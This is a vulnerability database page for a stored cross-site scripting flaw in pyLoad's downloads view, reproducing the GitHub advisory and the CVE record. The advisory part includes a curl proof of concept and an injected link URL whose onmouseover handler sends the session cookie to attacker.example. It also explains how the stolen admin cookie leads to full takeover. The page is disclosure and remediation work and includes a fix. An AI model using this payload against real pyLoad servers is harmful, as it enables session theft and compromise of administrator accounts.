Vulnerability-Lookup

GHSA-FCJQ-435V-JX94

Vulnerability from github – Published: 2026-05-14 20:23 – Updated: 2026-05-14 20:23

Summary

pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Details

Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.

The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.

Recommended Fix

Two changes.

First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():

const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);

If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:

const esc = (s) => String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;")
    .replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;");

Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.

Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.

Found by aisafe.io

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:23:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator\u0027s browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.\n\n## Details\n\n**Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`:\n\n```javascript\nconst html = `\n    \u003cspan class=\u0027child_status\u0027\u003e\n      \u003cspan style=\u0027margin-right: 2px;color: #337ab7;\u0027 class=\u0027${link.icon}\u0027\u003e\u003c/span\u003e\n    \u003c/span\u003e\n    \u003cspan style=\u0027font-size: 16px; font-weight: bold;\u0027\u003e\n      \u003ca onclick=\u0027return false\u0027 href=\u0027${link.url}\u0027\u003e${link.name}\u003c/a\u003e\n    \u003c/span\u003e\u003cbr/\u003e\n    \u003cdiv class=\u0027child_secrow\u0027 ...\u003e\n      \u003cspan class=\u0027child_status\u0027 ...\u003e${link.statusmsg}\u003c/span\u003e\u0026nbsp;${link.error}\u0026nbsp;\n      \u003cspan class=\u0027child_status\u0027 ...\u003e${link.format_size}\u003c/span\u003e\n      \u003cspan class=\u0027child_status\u0027 ...\u003e ${link.plugin}\u003c/span\u003e...\n    \u003c/div\u003e`;\n\nconst div = document.createElement(\"div\");\n$(div).attr(\"id\", `file_${link.id}`);\n$(div).css(\"padding-left\", \"30px\");\n$(div).css(\"cursor\", \"grab\");\n$(div).addClass(\"child\");\n$(div).html(html);\n```\n\n`link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface.\n\n**Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\\\`, `:`, and `/` from the folder *name*, not the link URL itself.\n\n**Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers.\n\n## Proof of Concept\n\n**Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`.\n\n```bash\nTARGET=\"http://\u003cpyload-host\u003e:\u003cport\u003e\"\n\n# Alice logs in.\nCSRF=$(curl -sS -c /tmp/alice.jar \"$TARGET/login\" | grep -oP \u0027name=\"csrf_token\" value=\"\\K[^\"]+\u0027)\ncurl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST \"$TARGET/login\" \\\n    -d \"csrf_token=$CSRF\u0026do=login\u0026username=alice\u0026password=alice123\" -o /dev/null\nAPI_CSRF=$(curl -sS -b /tmp/alice.jar \"$TARGET/\" | grep -oP \u0027name=\"csrf-token\" content=\"\\K[^\"]+\u0027)\n\n# Alice creates a package whose link URL breaks out of the href attribute\n# and installs an onmouseover payload.\ncurl -sS -b /tmp/alice.jar -X POST \"$TARGET/api/add_package\" \\\n    -H \"X-CSRFToken: $API_CSRF\" -H \"Content-Type: application/json\" \\\n    -d $\u0027{\"name\":\"xss-pkg\",\"links\":[\"http://x\\\u0027 onmouseover=\\\u0027fetch(`//attacker.example/`+document.cookie)\"]}\u0027\n```\n\nThe package lands in the collector (the default destination). Alice can also pass `\"dest\":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`.\n\nWhen any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as:\n\n```html\n\u003ca onclick=\u0027return false\u0027 href=\u0027http://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u0027\u003ehttp://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u003c/a\u003e\n```\n\nThe `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover.\n\n## Impact\n\nAny user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin\u0027s browser the next time that admin opens the downloads view. The admin\u0027s session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly.\n\nThe CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79.\n\n## Recommended Fix\n\nTwo changes.\n\nFirst, escape every `${link.*}` interpolation in the template. jQuery\u0027s `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`:\n\n```javascript\nconst a = $(\"\u003ca/\u003e\").attr(\"href\", link.url).text(link.name);\nconst status = $(\"\u003cspan/\u003e\").text(link.statusmsg);\n// ... build the DOM with .text() / .attr() calls ...\n$(div).append(a).append(status);\n```\n\nIf keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes:\n\n```javascript\nconst esc = (s) =\u003e String(s).replace(/\u0026/g, \"\u0026amp;\").replace(/\u003c/g, \"\u0026lt;\")\n    .replace(/\u003e/g, \"\u0026gt;\").replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026#39;\");\n```\n\nSecond, deploy a strict CSP. `default-src \u0027self\u0027; script-src \u0027self\u0027; object-src \u0027none\u0027; base-uri \u0027self\u0027; frame-ancestors \u0027self\u0027` kills the inline-handler class entirely, and pyload\u0027s own assets already load from `\u0027self\u0027`.\n\nAudit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-fcjq-435v-jx94",
  "modified": "2026-05-14T20:23:51Z",
  "published": "2026-05-14T20:23:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal"
}

CVE-2026-45348 (GCVE-0-2026-45348)

Vulnerability from cvelistv5 – Published: 2026-05-28 17:12 – Updated: 2026-05-28 18:51

Title

pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Summary

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/pyload/pyload/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
pyload	pyload	Affected: < 0.5.0b3.dev100

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45348",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-28T18:51:18.492930Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-28T18:51:28.477Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.0b3.dev100"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator\u0027s browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-28T17:12:20.497Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
        }
      ],
      "source": {
        "advisory": "GHSA-fcjq-435v-jx94",
        "discovery": "UNKNOWN"
      },
      "title": "pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45348",
    "datePublished": "2026-05-28T17:12:20.497Z",
    "dateReserved": "2026-05-11T21:40:08.177Z",
    "dateUpdated": "2026-05-28T18:51:28.477Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FCJQ-435V-JX94

Summary

Details

Proof of Concept

Impact

Recommended Fix

CVE-2026-45348 (GCVE-0-2026-45348)

Tags

Sightings

Nomenclature